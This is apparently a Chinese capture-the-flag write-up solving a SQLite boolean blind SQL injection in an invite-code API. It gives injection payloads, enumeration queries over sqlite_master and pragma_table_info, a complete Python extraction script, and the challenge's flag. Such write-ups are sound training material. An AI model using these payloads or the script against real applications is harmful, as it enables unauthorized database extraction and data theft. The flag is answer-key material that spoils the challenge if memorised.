这类页面的价值通常不在 UI,而在它背后的接口调用逻辑。因此第一步不是盲试输入,而是查看前端 JavaScript。
前端核心逻辑如下:
form.addEventListener("submit", async (event) => {
event.preventDefault();
result.textContent = "Checking invite...";
result.className = "result";
const params = new URLSearchParams({ code: code.value });
const response = await fetch(`/api/invite/check?${params.toString()}`);
const data = await response.json();
result.textContent = data.message;
result.classList.add(data.valid ? "ok" : "no");
});
可以看出,用户输入最终会进入:/api/invite/check?code=
接口响应类似:{"message":"Invite code was not found.","valid":false}
这里最关键的是:返回值里存在可观测的布尔量 valid。这意味着如果参数拼接进 SQL 语句中,我们就有机会把它变成一个“真假判断器”。
二、漏洞定位
根据题干提示,本题存在 SQLite 布尔盲注。
也就是说,后端大概率存在类似这样的查询逻辑: SELECT * FROM partner_invites WHERE code = ‘<用户输入>’
如果输入未经安全处理,那么我们就能闭合原有字符串,并额外拼接布尔表达式。
验证思路
分别构造恒真和恒假的 payload: ‘ OR 1=1– ‘ OR 1=2–
测试结果:
code=' OR 1=1--时,接口返回valid=truecode=' OR 1=2--时,接口返回valid=false
这一步已经足够确认:
- 输入被拼接进了 SQL
- 注释符
--生效 - 我们可以稳定利用
valid的真假回显做布尔盲注
三、为什么是 SQLite
题干已经点明是 SQLite,但从利用层面看,SQLite 也有非常鲜明的特征:
- 可以通过
sqlite_master枚举表结构 - 支持
length()、substr()、unicode()等函数 - 可利用
pragma_table_info('table_name')查看列信息
因此整道题的路线非常清晰:
- 用真假回显确认盲注成立
- 从
sqlite_master枚举表名 - 定位可疑表
- 枚举字段
- 爆出 flag
四、盲注利用链
1. 枚举表数量
布尔盲注的基本形式: ‘ OR ()–
例如判断表数量是否大于某个值: ‘ OR ((select count(*) from sqlite_master where type=’table’) > 3)–
配合二分法,可以快速得到数据库中表的数量。
最终枚举结果为: 5
2. 枚举表名
通过 limit 1 offset n 逐个读取表名:
select name
from sqlite_master
where type='table'
order by name
limit 1 offset 0
再使用:
length((...))获取长度unicode(substr((...), i, 1))获取第i个字符 ASCII/Unicode 值
最终得到表名:
organizations
partner_invites
sqlite_sequence
support_tickets
workspace_secret_notes
看到 workspace_secret_notes 时,基本就已经有味道了。这个表名本身就像是在说:秘密在这里。
五、字段枚举
为了避免直接盲猜列名,可以继续利用 SQLite 的元信息:
select count(*) from pragma_table_info('workspace_secret_notes')
以及: select name from pragma_table_info('workspace_secret_notes') limit 1 offset n
最终得到字段如下:
id
org_id
note_key
note_value
scope
rotated_at
这时表结构已经十分明显:这是一个 键值配置表。
于是进一步读取 note_key:
billing_rollout
incident_room
flag
当第三个键名直接叫 flag 时,这题已经进入收尾阶段。
六、提取 Flag
最后读取: select note_value from workspace_secret_notes where note_key=’flag’ limit 1
同样使用:
length()substr()unicode()- 二分法
逐字符爆破即可。
最终得到: FLAG{231f273b-3ba1-4345-ba71-0d500c7749ab}
七、完整利用脚本
下面给出一份实际可用的 Python 脚本。这个脚本包含:
- 请求重试
- 布尔判断
- 数值二分
- 文本逐字符读取
import requests
import time
import random
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry BASE = "http://8000-28fa6653-0087-4658-ad50-c79137139ddd.challenge.ctfplus.cn/api/invite/check" sess = requests.Session()
retry = Retry(
total=5,
connect=5,
read=5,
backoff_factor=0.5,
status_forcelist=[429, 500, 502, 503, 504],
allowed_methods=None,
)
sess.mount("http://", HTTPAdapter(max_retries=retry)) def req(cond: str) -> bool:
payload = f\"' OR ({cond})-- \"
for attempt in range(8):
try:
r = sess.get(BASE, params={"code": payload}, timeout=(15, 20))
r.raise_for_status()
return bool(r.json().get("valid"))
except Exception:
if attempt == 7:
raise
time.sleep(0.35 * (attempt + 1) + random.random() * 0.2) def num_equals(expr: str, n: int) -> bool:
return req(f"({expr})={n}") def num_gt(expr: str, n: int) -> bool:
return req(f"({expr})>{n}") def find_number(expr: str, lo: int = 0, hi: int = 256):
while lo < hi:
mid = (lo + hi) // 2
if num_gt(expr, mid):
lo = mid + 1
else:
hi = mid
if num_equals(expr, lo):
return lo
return None def dump_text(expr: str, max_len: int = 200) -> str:
ln = find_number(f"length(({expr}))", 0, max_len)
if ln is None:
return ""
out = []
for i in range(1, ln + 1):
code = find_number(f"unicode(substr(({expr}),{i},1))", 0, 126)
out.append(chr(code if code is not None else 63))
return "".join(out) if name == "main":
table_count = find_number("select count(*) from sqlite_master where type='table'", 0, 20)
print("[+] table_count =", table_count) for i in range(table_count): name = dump_text( f"select name from sqlite_master where type='table' order by name limit 1 offset {i}", 80, ) print(f"[+] table[{i}] =", name) col_count = find_number("select count(*) from pragma_table_info('workspace_secret_notes')", 0, 20) print("[+] column_count =", col_count) for i in range(col_count): col = dump_text( f"select name from pragma_table_info('workspace_secret_notes') limit 1 offset {i}", 80, ) print(f"[+] column[{i}] =", col) for i in range(3): key = dump_text( f"select note_key from workspace_secret_notes order by id limit 1 offset {i}", 80, ) print(f"[+] key[{i}] =", key) flag = dump_text( "select note_value from workspace_secret_notes where note_key='flag' limit 1", 200, ) print("[+] FLAG =", flag)
八、利用逻辑图
flowchart TD
A["访问首页"] --> B["查看前端 JS"]
B --> C["发现 /api/invite/check?code="]
C --> D["构造真假 Payload"]
D --> E["确认 SQLite 布尔盲注"]
E --> F["枚举 sqlite_master 表名"]
F --> G["定位 workspace_secret_notes"]
G --> H["通过 pragma_table_info 枚举字段"]
H --> I["发现 note_key / note_value"]
I --> J["读取 note_key"]
J --> K["发现 key = flag"]
K --> L["读取 note_value"]
L --> M["得到最终 Flag"]
九、题目亮点
这题的设计其实很漂亮,主要漂亮在三个地方:
1. 回显极少,但信息足够
页面没有报错、没有详细提示、没有直接数据输出,只有一个轻描淡写的 valid=true/false。但对于盲注来说,这已经足够构成一个完整的信息通道。
2. 前端接口是唯一入口
题目没有把注入点写在明面上,而是要求选手从前端 JS 去理解真实的数据流。这一步很接近真实业务环境中的漏洞挖掘方式。
3. SQLite 利用链紧凑
从 sqlite_master 到 pragma_table_info(),再到 substr() / length() / unicode(),整个利用过程非常“SQLite 味”,适合作为一题高质量的数据库盲注练习题。
十、复盘与经验
这题最重要的经验有三点
- 盲注不一定需要报错和延时只要应用给出稳定的真假差异,就足够完成利用。
- 前端代码经常是最好的“接口文档”很多时候后端藏得很深,但前端会主动把接口路径、参数名、返回结构交代清楚。
- 遇到 SQLite 时,先想到
sqlite_master这是最自然、最高效的突破口。
最终答案
FLAG{231f273b-3ba1-4345-ba71-0d500c7749ab}
